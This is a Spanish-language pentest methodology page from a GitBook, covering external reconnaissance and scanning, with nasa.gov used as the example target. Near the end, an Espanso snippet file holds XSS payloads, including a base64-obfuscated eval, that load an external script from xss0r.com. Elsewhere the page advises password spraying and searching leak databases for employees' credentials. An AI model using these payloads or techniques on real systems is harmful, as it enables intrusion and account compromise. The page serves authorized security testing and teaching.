Las notas de R4z0r
YoutubeLinkedInConóceme
  • Bienvenido a las notas de R4z0r
  • Web App Pentest
    • Directory traversal / Path Traversal
    • Local File Inclusion (LFI)
    • Remote File Inclusion (RFI)
    • Cross-Site Scripting (XSS)
    • Cross-Site Request Forgery (CSRF)
    • Server-Side Request Forgery (SSRF)
    • Unrestricted File Upload
    • SQL/NoSQL Injection
      • SQL Injection
      • NoSQL Injection
    • Broken Access Control (BAC)
    • Insecure Direct Object Reference (IDOR)
    • User Enumeration
    • Sensitive Cookies Missing security attributes
    • Weak Password Policy
    • Use of GET Request Method With sensitive Query Strings
    • Insufficient Protection Against Brute Forcing
    • Unverified Password Change
  • LLM Hacking
    • Prompt Injection
    • Sensitive Information Disclosure
    • Supply Chain Vulnerabilities
    • Training Data Poisoning
    • Insecure Output Handling
    • Excessive Agency
    • Model Denial of Service (DoS)
    • Insecure Plugin Design
    • Overreliance
    • Misinformation
    • System Prompt Leakage
  • External Pentest
  • Internal Pentest
  • Mobile Pentest
  • Cloud Pentest
  • API Pentest
  • PortSwigger Labs
    • LLM Attacks
Con tecnología de GitBook
En esta página
  • Metodología
  • Enumeración Pasiva
  • Búsqueda de Subdominios, IPs, Puertos, Servicios y Tecnología
  • DNSDumpster
  • VirusTotal
  • Vedbex subdomain finder
  • Censys
  • Shodan
  • Fofa
  • Netcraft
  • Obtención de Información en general
  • Google Dorks
  • Bing Dorks
  • Google Dorks via Pentest Tools
  • DuckDuckGo Dorks
  • Github
  • GitDumper:
  • Gitkraken
  • Gitleaks
  • Gitlab Dorks
  • grepp.app
  • crt.sh
  • Postman
  • Swagger Hub
  • Docker Hub
  • Scribd
  • Grayhatwarfare
  • Búsqueda de información en Videos
  • Vimeo
  • Youtube
  • OSINT enfocado a cuentas personales
  • Enumeración activa
  • SubdomainRecon
  • SubCrawler
  • Host
  • Dig
  • Nmap
  • Fuzzing
  • Nuclei
  • SQL Injection
  • IDORs
  • XSS
  • Automatización de ataques con Espanso
  • El checklist de r4z0r
  • Disclaimer

External Pentest

AnteriorSystem Prompt LeakageSiguienteInternal Pentest

Última actualización hace 1 mes

Un pentest external es cuando el cliente provee un conjunto de IPs o un conjunto de subdominios dependiendo el tipo (caja negra, blanca, gris) y nosotros atacamos desde fuera de su red.

Por lo general se nos da información del tipo caja gris/negra. En la mayoría de los casos, solo nos dan el dominio principal y que hagamos reconocimiento desde cero, pero esto va a depender del cliente, lo importante aquí es que las pruebas se hacen desde afuera de la red de cliente y sin tener una conexión a su infraestructura.

Disclaimer:

La metodología aquí descrita fue junto con algunos scripts analizados o utilizados en este artículo provienen de conocimientos adquiridos durante mi experiencia profesional en . La información aquí publicada ha sido elaborada de manera general con fines educativos y de investigación, sin contener ni exponer datos confidenciales, internos o propietarios de dicha empresa. Cualquier parecido con configuraciones internas específicas es meramente coincidente o resultado de prácticas estándar de la industria. No se han compartido secretos comerciales ni detalles sensibles. Este blog no representa, en ningún caso, una filtración de información interna, y se publica bajo un criterio técnico y ético profesional.

Dato de color: Al final de esta guía tienen un checklist que pueden seguir en un pentest external.

Algo importante a destacar es que, si nos asignan una Web App en modalidad black box, el enfoque será similar al de un pentest externo, pero más acotado. Es decir, nuestro objetivo principal será la web, aunque eso no significa que no podamos explorar vectores externos que nos permitan encadenar accesos hacia la aplicación principal. Por supuesto, en estos casos es fundamental comunicarle al cliente que, dado el enfoque black box y el alcance limitado, podría ser necesario realizar un reconocimiento más amplio, lo cual podría implicar revisar activos adicionales relacionados con la web.

Metodología

La dividiremos en dos, enumeración pasiva y activa, en la pasiva intentamos buscar información por internet sin atacar a los servicios de nuestro objetivo. En la activa ya estamos haciendo contacto directo en la red de nuestro objetivo por lo que debemos ir con más precaución. Por lo general, podemos mezclar ambos conceptos ya que tenemos autorización del cliente para realizarlo, pero te recomendamos que empieces de izquierda a derecha, es decir, una enumeración pasiva y luego una activa.

MUY IMPORTANTE: NO SEAS "BOLU" Y EJECUTES HERRAMIENTAS DE FORMA AUTOMÁTICA SIN ESTABLECER LÍMITES EN TUS SOLICITUDES, RECORDÁ QUE HAY CLIENTES QUE UTILIZAN POR EJEMPLO SERVICIOS DE AUTOSCALING, Y SI HAY MUCHO TRÁFICO EN SU RED SE LES VA A IR LA FACTURA DE AWS/GCP/AZURE A LA NUBE LITERAL.

Enumeración Pasiva

En esta parte buscamos obtener la mayor información posible sobre nuestro target, ampliar nuestros vectores de ataques lo máximo posible, pero ojo, hay ocasiones que el cliente solo quiere que se trabaje sobre el scope que se nos asigna asi que este paso se suele saltar.

Búsqueda de Subdominios, IPs, Puertos, Servicios y Tecnología

En esta etapa nos centraremos a obtener subdominios, IPS, puertos abiertos, servicios corriendo en los puertos y las tecnologías que se utilizan. Para estos ejemplos, utilizaré el dominio de nasa.gov ya que pertenece a un VDP: , si no sabes que es un VDP es hora de googlear, sino te estoy dando todo en bandeja y no pones a prueba tu curiosidad, habilidad número 1 de un hacker.


Obtención de Información en general

En esta etapa buscamos profundizar más en nuestro objetivo. Utilizamos técnicas de OSINT para ampliar nuestros vectores de entradas.

Esta es una herramienta que provee búsqueda de forma automática seleccionando entre 18 tipos diferentes de búsquedas en google, me pareció un lindo atajo para ir más rápido.

Dato de color: Usar todos los motores de búsqueda posibles porque puede que encuentres información en uno que en otro esa misma información no esté porque la información se indexa de forma diferente, asi que es clave que busques en estos 3 sitios como mínimo.

En esta sección tenemos varios temas interesantes, uno es la búsqueda de información a través de dorks y también la podemos hacer más profunda analizando a la empresa en cuestión y los usuarios/programadores que hagan los commits en los proyectos.

./gitdumper.sh https://webappexample.nasa.gov/.git/ ~/your-folder/

Una vez que te descargues el .git empiezas a analizarlo con comandos de git, como por ejemplo git log, git show, etc.

User enumeration en commits:

Para este proceso tenemos que inspeccionar el hash de commit

Luego agregamos ".patch" al final para inspeccionar la información del mismo y aquí podemos obtener el correo de la persona que hizo el commit.

Para utilizar esta tool, van a tener que tener una cuenta y descargarse los repositorios que quieren inspeccionar, luego van a filtrar y desde ahí van a poder tener más a detalles los colaboradores.

Gitleaks es una herramienta para detectar secretos como contraseñas, claves API y tokens en repositorios git, archivos y cualquier otra cosa que quieras arrojarle a través de stdin.

Esta es una tool bastante rápida para buscar información en github.

Crt.sh permite buscar y visualizar información detallada sobre los certificados emitidos, como el nombre de dominio asociado, el emisor del certificado, los subdominios, la fecha de emisión y vencimiento, y otros datos relevantes.

Las vulnerabilidades que he reportado gracias a Postman no se dan idea, a través de esta página van a poder buscar información sobre colecciones de empresas en donde en muchas de estas colecciones siempre se dejan endpoints o api_keys para interactuar con dichas APIs.

Bastante similar a Postman.

Docker Hub es un registro de contenedores que muchas empresas la utilizan. De vez en cuando suben algunos contenedores que contienen información importante de cara a un atacante.

Scribd es como una biblioteca gigante de archivos, aquí te vas a encontrar de todo, es una herramienta muy útil y donde siempre se encuentran cositas.

Esta es una herramienta para buscar buckets públicos por internet.


Búsqueda de información en Videos

Esta parte es muy divertida, vamos a utilizar tanto Vimeo como Youtube para buscar por ejemplo videos demostrativos "más conocidas como demos" de nuestro objetivo. Muchas veces los clientes dejan grabadas demos para presentar a sus clientes y aquí divulgan información como ser aplicaciones que no están en producción, usuarios válidos, posibles rutas interesantes, etc. Por ejemplo si tienes una demo donde muestran la sección de usuarios, te recolectas todos esos usuarios y vas a realizar un password spray sobre el panel mismo con credenciales débiles como por ejemplo: 12345678. CREEME QUE MÁS DE UNA VEZ ME FUNCIONÓ. También es importante para entender cómo funcionan sus aplicaciones y por dónde podríamos encontrar vulnerabilidades ya que acá muestran todo el flujo de la aplicación por lo general.


OSINT enfocado a cuentas personales

Hay muchas situaciones que nuestro scope es muy reducido y no tenemos tantos subdomnios o ips expuestas, por lo que nos tocará ir a por los empleados de la empresa para intentar acceder al mismo.

En este punto nos centramos a enumerar al cliente pero todo sobre la capa 8, el eslabón más débil de las empresas, nuestro objetivo es listar la mayor cantidad de usuarios de la empresa o los más importantes y encontrar su patrón de usuarios, correos y demás, una vez que hagamos hecho este procedimiento pasaremos a utilizar herramientas como dehashed para buscar leaks asociado a sus cuentas.

Recolección de correos y perfiles relevantes en entornos corporativos

Durante la fase de reconocimiento, uno de los objetivos clave es identificar empleados que puedan representar un punto de entrada valioso para un atacante. Esto implica analizar no solo sus roles, sino también a qué tipo de información o sistemas podrían tener acceso.

Perfiles clave a considerar

  • Personas del área de People & Culture o Recursos Humanos pueden tener acceso a información sensible de los empleados, como documentos personales, contratos o sueldos.

  • Integrantes del equipo de IT suelen tener acceso a servidores, infraestructura interna, VPNs y otros sistemas críticos.

  • Personal de alta gerencia o ejecutivos manejan información estratégica, financiera y confidencial.

  • Roles como diseñadores, marketing o atención al cliente no deben ser descartados. Muchas veces las empresas asignan más permisos de los necesarios, por lo que alguien con bajo perfil puede tener privilegios excesivos.

Es importante analizar cada perfil preguntándonos: ¿qué ganaría un atacante si compromete esta cuenta?

Obtención de correos corporativos

  1. LinkedIn Buscar empleados de la empresa para identificar nombres, roles y posibles patrones de nombre de usuario.

  2. Hunter.io Permite obtener correos públicos asociados al dominio de la empresa. También puede dar una idea del formato general de los correos (por ejemplo: jperez@nasa.gov).

  3. GitHub / GitLab Analizar quiénes participan en repositorios asociados a la empresa. Observar autores de commits, usuarios frecuentes, correos configurados en los repositorios, etc. Esto ya lo vimos más arriba ;)

Ejemplo de construcción de patrones de correo

Supongamos que encontramos a un empleado llamado Juan Pérez. En sus redes sociales utiliza el usuario “jperez” o “juanp”. Es probable que este mismo patrón se use en su correo corporativo.

Si el dominio de la empresa es nasa.gov, algunas variantes posibles serían:

Además, es común que ese mismo patrón se repita en correos personales como:

  • juan@gmail.com

  • jperez@outlook.com

El objetivo es identificar patrones repetidos en nombres de usuario y aplicarlos a la estructura de correo corporativo. Una vez definida una lista de posibles correos, se puede pasar a buscarlos en fuentes como Dehashed.

Con una lista de posibles víctimas y sus correos (o variantes), se pueden realizar búsquedas efectivas en Dehashed. Algunos criterios útiles son:

  • Nombres de usuario (como jperez)

  • IPs

  • Nombres y apellidos

  • El dominio completo de la empresa (nasa.gov)

En el caso que no obtengas contraseñas en texto plano, puedes intentar buscar los hashes de contraseña en algunas páginas como:

O optar por crackearlas offline:

Si quieres saber si un correo ha sido comprometido puedes usar:


Enumeración activa

En esta sección exploraremos algunas alternativas que tenemos ya en una enumeración más activa, es decir, ya vamos a estar haciendo uso de tools contra la víctima en particular, por ejemplo, muchas veces para enumerar subdominios tenemos que hacer fuerza bruta sobre la empresa víctima, por lo que quedarán registros en sus logs que nuestra ip estuvo realizando ese tipo de ataques, es por eso que para esta etapa ya se requiere autorización del cliente (también en la anterior, pero en la fase de enumeración pasiva solo recolectamos información en internet, no estamos atacando al cliente).

El proceso que realizamos parte desde enumerar subdominios, luego enumeramos puertos/servicios, y después ya empezamos a hacer un reconocimiento más específico por cada puerto y servicio, llegada a esta etapa ya tenemos que tener una lista de puertos y los servicios que corren en cada uno de estos para lanzar una serie de scripts de nmap, en el caso de puertos 443, 80 podemos apoyarnos de nuclei, burpsuite y como extra también podemos hacer uso de theHarvester, bbot, dnsenum para una mayor enumeración.

La clave está en tener todos los puertos y servicios que están expuestos en el cliente y buscar formas de entrar a sus servidores mediante vulnerabilidades o fallas en la configuración de los mismos.

SubdomainRecon

SubdomainFinder es una herramienta automatizada diseñada para la recopilación y verificación de subdominios utilizando múltiples herramientas de reconocimiento. Ideal para evaluaciones de seguridad en aplicaciones web y análisis de estructuras de red.

Ejemplo de uso:

Resultados:

SubCrawler

SubdomainFinder es una herramienta automatizada diseñada para la recopilación y verificación de subdominios utilizando múltiples herramientas de reconocimiento. Ideal para evaluaciones de seguridad en aplicaciones web y análisis de estructuras de red. Creada por un tal r4z0r con mucho amor.

Esta no la ejecuté porque me iba a dar una salida gigante, pero es una de mis tools favoritas a la hora de un escaneo rápido para obtener subdominios y URLs.

Host

Host es una herramienta que nos permitirá identificar qué IPs están corriendo bajo ciertos dominios. A través del siguiente script le pasamos una lista de dominios y este filtra todos las IPs a las que resuelven esos dominios deja solo las únicas, es decir, quita las repetidas.

for i in $(cat scope.txt); do host $i |  grep -oP '(\\d+\\.){3}\\d+'; done | sort -u

Ejemplo:

Dig

Dig (Domain Information Groper) es una herramienta de línea de comandos de Linux que realiza búsquedas en los registros DNS, a través de los nombres de servidores, y te muestra el resultado:

while IFS= read -r l; do ip=$(dig +short "$l" | grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' | head -1); echo "[+] '$l' => $ip"; echo "$ip" >> ips.txt; done < /tmp/scope.txt

Ejemplo:

Nmap

Nmap, bueno, no hace falta que explique Nmap si estás en este punto de tu carrera. Aquí los pasos importantes serán realizar un escaneo de puertos y servicios que nos permitan aumentar nuestros vectores de ataque y conocer todo lo que el cliente tenga expuesto sin afectar su red y evitando que nos baneen los ataques.

Some Ports:

Este script realiza un escaneo enfocado en una serie de puertos ampliamente utilizados en entornos corporativos. El objetivo es identificar rápidamente servicios expuestos que podrían representar vectores de ataque comunes.

nmap -n -v -sT -Pn --open --defeat-rst-ratelimit -T2 --max-retries 1 --max-hostgroup 4 -p 21,22,23,25,80,88,110,143,389,443,445,636,993,995,1433,1521,3306,3389,8080  -iL ./targets.txt -oA nmapSomePortsCliente

Parámetros destacados:

  • --defeat-rst-ratelimit: Ayuda a evitar restricciones impuestas por los sistemas al recibir múltiples paquetes RST (reset). Esto puede mejorar la precisión en escaneos más lentos o sigilosos.

  • --max-retries 1: Limita los reintentos de envío de paquetes a 1, agilizando el escaneo y reduciendo la posibilidad de detección.

  • --max-hostgroup 4: Controla la cantidad de hosts escaneados simultáneamente. En este caso, se limitan a 4 para evitar sobrecargar la red o los sistemas objetivos.

  • -sT: Realiza un escaneo TCP con conexión completa (three-way handshake). Se usa cuando no se tienen privilegios de root.

  • -Pn: Omite la detección de hosts vivos. Nmap asume que todos los objetivos están activos, útil si bloquean pings o detección previa.

  • -T2: Define el nivel de agresividad del escaneo (timing). T2 es una opción moderada, adecuada para entornos donde se requiere precaución.

En la teoría se nos indica que el escaneo SYN es el más adecuado, pero se puede usar cualquiera, AUNQUE últimamente hay más IPS o incluso IDS que te detectan fácilmente SYN o te bloquean directamente. Entonces todo es cuestión de adaptarse al pentest que estás teniendo e ir probando, puedes empezar con un -sS y si ves que no va bien te pasas al -sT o viceversa.

Ajuste de parámetros de TIMING según el contexto:

Dependiendo del entorno y los requerimientos del cliente, el parámetro de timing puede modificarse. A continuación, se presentan recomendaciones para ajustar la opción TIMING:

A. Equipos críticos o sensibles Mantener -T2 o incluso usar -T1 si el cliente solicita un escaneo más cuidadoso.

B. Escenario estándar o sin restricciones especiales Eliminar -T2 para que Nmap utilice su configuración de timing predeterminada, adaptándose automáticamente al número de objetivos y al tiempo disponible.

C. Escaneo más rápido (previa autorización de tu líder) Sustituir -T2 por --scan-delay 150ms para reducir el tiempo entre envíos de paquetes, acelerando el proceso.

Default Scan:

Este comando representa un escaneo TCP básico y controlado, nos da una visibilidad general de los puertos expuestos.

nmap -n -v -sT -Pn --open --defeat-rst-ratelimit TIMING --max-retries 1 --max-hostgroup 4 -iL ./targets.txt -oA nmapDefaultCliente

Port Ratio 0:

Este escaneo es alternativo a los demás, lo interesante es que podemos decirle a Nmap que nos escaneo puertos basado en porcentajes de ratio, es decir, qué tan frecuente es que salga ese puerto en un escaneo, para eso Nmap maneja una lista de probabilidades por puerto (un ratio), esto lo vemos en la siguiente imagen:

Como se aprecia, el puerto 22 tiene una probilidad del 18% de salir en un escaneo, el http 48%, el 443 un 20%, teniendo en cuenta esto, si utilizamos port-ratio 0.48 tomará solo los puertos que tengan ese porcentaje.

nmap -n -v -sT -Pn --open --defeat-rst-ratelimit  TIMING --max-retries 1 --max-hostgroup 4  --port-ratio 0.48 -iL ./targets.txt -oA nmapPR0Cliente

Nmap Services

En el siguiente escaneo reemplazar $ports por la lista de puertos que ya se tenga descubierta. Esta lista contendrá todos los puertos abiertos encontrados en todos los targets. Habrán targets que tienen ciertos puertos abiertos y otros no.

nmap -n -v -sT -Pn --open -sV  --defeat-rst-ratelimit TIMING --max-retries 1 --max-hostgroup 4  -p $ports -iL ./targets.txt -oA nmapSVCliente

Si no quieres andar copiando uno por uno los puertos puedes usar funciones como estas definidas en tu .zshrc o .bashrc:

function extractPorts() {
    if [[ -z "$1" || ! -f "$1" ]]; then
        echo "Usage: extractPorts <nmap_output_file>"
        return 1
    fi

    echo -e "\n[*] Extracting information...\n" > extractPorts.tmp

    ip_address=$(grep -oP '\d{1,3}(\.\d{1,3}){3}' "$1" | head -n 1)
    ports=$(grep -oP '\d{1,5}/open' "$1" | cut -d'/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')

    echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
    echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp

    # Copy to clipboard if xclip is installed
    if command -v xclip &> /dev/null; then
        echo -n "$ports" | xclip -sel clip
        echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
    else
        echo -e "[!] xclip not found, ports not copied to clipboard\n" >> extractPorts.tmp
    fi

    cat extractPorts.tmp
    rm extractPorts.tmp
}

Cuando la ejecutes vas a tener copiado todos los puertos del escaneo en tu clipboard.

UDP Scan:

sudo nmap -n -v -sU -Pn --open -sV --defeat-rst-ratelimit TIMING --max-retries 1 --max-hostgroup 4 -p $ports -iL ./targets.txt -oA nmapSVUDPCliente

Si el tiempo lo permite realizamos este escaneo:

Nmap All Ports:

Aquí escaneamos los 65535 puertos.

nmap -n -v -sT -Pn --open -sV --defeat-rst-ratelimit TIMING --max-retries 1 --max-hostgroup 4 -p 1-65535 -iL ./targets.txt -oA nmapLastCliente   

Escaneo de vulnerabilidades

Iniciar con los scripts de NMAP :

nmap -n -v -sT -Pn --open -sV --defeat-rst-ratelimit TIMING --max-retries 1 --max-hostgroup 4 -p $ports -iL ./targets.txt --script "not *flood* and not *brute* and not *dos* and not *broadcast* and not *fuzz* and not *qscan* and not *slow* and not *mrinfo* and not *blacklist* and not *xssed*"  -oA nmapScriptsCliente

Fuzzing

dirsearch -u https://someapp.nasa.gov/api-endpoint/ -t 1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -e js,html -o fuzz/api --max-rate=2

Parámetros destacados:

  • --max-rate: Con esto evitamos enviar más de x solicitudes por segundo.

Nuclei

Esta herramienta es una de las mejores cuando ya tenemos un conjunto de urls en nuestro arsenal, por ejemplo, cuando ya tengamos muchas urls cargadas en nuestro sitemap de burp, podemos hacer un filtrado de urls y pasarselas a nuclei, donde este a través de templates intentará buscar vulnerabilidades, se recomienda realizarlo de forma que se ve en la siguiente imagen con el fin de no lograr provocar una denegación de servicio o alto consumo de recursos en el cliente ya que realiza muchas peticiones.

Nuclei Scan:

nuclei -l nucleiUrls -timeout 20 -etags ddos,fuzz,bruteforce -es info -retries 3 -stats -o nucleiScan.txt
  • -l nucleiUrls Especifica el archivo que contiene la lista de URLs a escanear. En este caso, nucleiUrls.

  • -timeout 20 Define un timeout de 20 segundos para las solicitudes HTTP. Si un objetivo tarda más, se descarta.

  • -etags ddos,fuzz,bruteforce Excluye templates que tengan los tags ddos, fuzz o bruteforce. Esto evita escaneos agresivos o pesados, que podrían generar ruido o afectar la estabilidad del sistema objetivo.

  • -es info Excluye resultados con severidad info, dejando solo findings con mayor impacto (low, medium, high, critical).

  • -retries 3 Reintenta hasta 3 veces en caso de errores temporales o fallos de red.

  • -stats Muestra estadísticas del escaneo en tiempo real (por ejemplo, cuántos templates se han ejecutado, cuántos hosts quedan, etc.).

  • -o nucleiScan.txt Guarda todos los resultados en el archivo nucleiScan.txt.

SQL Injection

SQLMap básico:

sqlmap -r sqli --level 2 --risk 2 --dbs --proxy="http://127.0.0.1:8080" --delay=1 --random-agent --batch

Parámetros destacados:

  • -r: La solicitud que guardé desde Burp Suite.

  • --delay: Delay de x segundos por cada solicitud.

  • --proxy: Para que el tráfico pase por nuestro proxy, ej: burpsuite.

  • --risk: Este parámetro define el nivel de agresividad de las pruebas que realiza sqlmap. Acepta valores entre 1 y 3, siendo:

    • 1 (por defecto): Utiliza payloads básicos, considerados seguros para la mayoría de los puntos de inyección SQL.

    • 2: Agrega técnicas más intensivas, como inyecciones basadas en tiempo (time-based blind), que pueden generar una mayor carga en el servidor.

    • 3: Incluye además pruebas basadas en errores (error-based), como OR 1=1, lo que incrementa la posibilidad de detección pero también el riesgo de afectar el comportamiento de la aplicación.

  • --level: A mayor nivel, más parámetros serán testeados (por ejemplo, cookies, headers adicionales, rutas ocultas). Debemos obviarlo si le pasamos -p ya que ahí le decimos el parámetro donde realizará la prueba.

IDORs

Para encontrar IDORs utilizo esta extensión de Burpsuite que me parece muy fácil de utilizarla y bastante poderosa, se llama Auth Analyzer.

XSS

Herramientas útiles:

Personalmente me gusta más xss0r porque la puedes configurar con notificaciones en Telegram, entonces vas metiendo tus payloads y si se triguerea te llega una notificación, pero aún lo podemos hacer más rápido a este proceso con lo siguiente...

Automatización de ataques con Espanso

  • Configurar de base.yml

  • Ubicación de base.yml: /Users/r4z0r/Library/Application Support/espanso/match/base.yml (Dependerá de tu SO)

# espanso match file
matches:
  # xss basic
  - trigger: ":img"
    replace: '"><img src=z onerror=prompt(3)>'

  - trigger: ":script"
    replace: '"><script alert(10)></script>'

  # xss 1
  - trigger: ":xss1"
    replace: '"><script src=https://xss0r.com/c/razor></script>'

  # xss 2
  - trigger: ":xss2"
    replace: '"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2MvcmF6b3IiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>"'
  
  # dirsearch basic
  - trigger: ":dirbasic"
    replace: 'dirsearch -u "$|$" -f -F -x 400-499'
  
  # dirsearch especific
  - trigger: 
    replace: 'dirsearch -u "$|$" -t 1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -e js,html -o results --max-rate=2 -f -F -x 400-499'
      
  # nuclei
  - trigger: ":nuclei"
    replace: 'nuclei -l "$|$" -timeout 20 -etags ddos,fuzz,bruteforce -es info -retries 3 -stats -o nucleiScan.txt' 

  # sqlmap
  - trigger: ":sqlmap"
    replace: 'sqlmap -r "$|$" --level 2 --risk 2 --dbs --proxy="http://127.0.0.1:8080" --delay=1 --random-agent --batch'

Cada vez que escribas por ejemplo lo que está dentro de trigger se añadirá automáticamente el payload que configures.

El checklist de r4z0r

Enumeración pasiva

Enumeración activa

Disclaimer

Esta es mi metodología básica para encontrar vulnerabilidades, no existe una guía final ni definitiva, hay que ir adaptándonos y mejorando nuestro proceso paso a paso, pero hoy a fecha que hago este artículo este es todo mi arsenal que utilizo y me da muy buenos resultados. Usa cada una de estas técnicas con precaución y recuerda que si no tienes autorización y tu objetivo no forma parte de de un VDP puedes estar cometiendo un delito, asi que ojito, un gran poder conlleva una gran responsabilidad.

Cencys Dorks Cheatsheet:

Shodan Dorks Cheatsheet:

Extensión de chrome:

Google Dorks Cheatsheet: :

Bing Dorks Cheatsheet:

Duckduckgo Dorks Cheatsheet:

Github Dorks Cheatsheet:

:

Si encuentras un .git fuzzeando una aplicación, puedes usar opciones como

Para automatizar este proceso de recolección te recomiendo que utilices o

Gitlab Dorks Cheatsheet:

Búsqueda en

Correos electrónicos (por ejemplo, )

Repositorio:

Repositorio:

Oneliner by :

Oneliner by :

Si quieres explorar más sobre el mundo de NMAP te dejo este cursito GRATIS en YouTube:

Esta sección de NMAP la aprendí con el Team de , asi que más que agreadecido por sus conocimientos.

Guía:

Guía SQLMap:

Guía:

-

Guía:

Instalar

Para el XSS necesitas una cuenta cuenta en

Hackmetrix
https://www.nasa.gov/vulnerability-disclosure-policy/
DNSDumpster
VirusTotal
Vedbex subdomain finder
Censys
https://github.com/thehappydinoa/awesome-censys-queries
Shodan
https://github.com/humblelad/Shodan-Dorks
https://chromewebstore.google.com/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap
Fofa
Netcraft
Google Dorks
https://github.com/chr3st5an/Google-Dorking
Bing Dorks
https://support.microsoft.com/en-us/topic/advanced-search-keywords-ea595928-5d63-4a0b-9c6b-0b769865e78a
Google Dorks via Pentest Tools
DuckDuckGo Dorks
https://duckduckgo.com/duckduckgo-help-pages/results/syntax/
Github
https://github.com/techgaun/github-dorks
GitDumper
https://github.com/arthaud/git-dumper
Gitkraken
Gitleaks
Gitkraken
Gitleaks
Gitlab Dorks
https://docs.gitlab.com/user/search/advanced_search/
grepp.app
crt.sh
Postman
Swagger Hub
Docker Hub
Scribd
Grayhatwarfare
Vimeo
Youtube
juan@nasa.gov
jperez@nasa.gov
juan.perez@nasa.gov
j.perez@nasa.gov
juanp@yahoo.com
Dehashed
juan@nasa.gov
https://cmd5.org
https://hashes.com
https://crackstation.net/
Hashcat
JhonTheRipper
https://haveibeenpwned.com/
https://github.com/medicenr4z0r/subdomainRecon
https://github.com/medicenr4z0r/SubCrawler/
Gus
Gus
https://youtu.be/FTpTNdVXFY0?si=ZCpdIWHTAmoGDsW_
OpenSec
https://r4z0r.gitbook.io/las-notas-de-r4z0r/web-app-pentest/sql-nosql-injection/sql-injection
https://github.com/sqlmapproject/sqlmap/wiki/Usage
https://r4z0r.gitbook.io/las-notas-de-r4z0r/web-app-pentest/insecure-direct-object-reference-idor
https://portswigger.net/bappstore/7db49799266c4f85866f54d9eab82c89
https://r4z0r.gitbook.io/las-notas-de-r4z0r/web-app-pentest/cross-site-scripting-xss
https://xss0r.com/
https://bxsshunter.com
Espanso
https://xss0r.com/
Búsqueda de subdominios con DNSDumpster
Búsqueda de subdominios con VirusTotal
Búsqueda de subdominios con Vedbex
Búsqueda de información en Cencys
Búsqueda de información en Shodan
Búsqueda de información en Fofa
Búsqueda de información en Netcraft
Google Dorks
Bing dorks
Google dorks via pentest-tools
DuckDuckGo Dorks
Github dorks
Buscando hash del commit
Inspeccionando comit
Búsqueda de información con GitKranken
Búsqueda de información con gitleaks
Gitlab dorks
Búsqueda de información en grepp.app
Búsqueda de información en crt.sh
Búsqueda de información en Postman
Búsqueda de información en SwaggerHub
Buscando información en DockerHub
Buscando documentos sensibles en Scribd
Búsqueda de buckets públicos en Grayhatwarfare
Búsqueda de videos en Vimeo
Búsqueda de videos en Youtube
Búsqueda de Leaks en Dehashed
SubdomainRecon
Subdomainrecon
SubCrawler
Host para resolver IPs
Uso de Dig para resolver IPs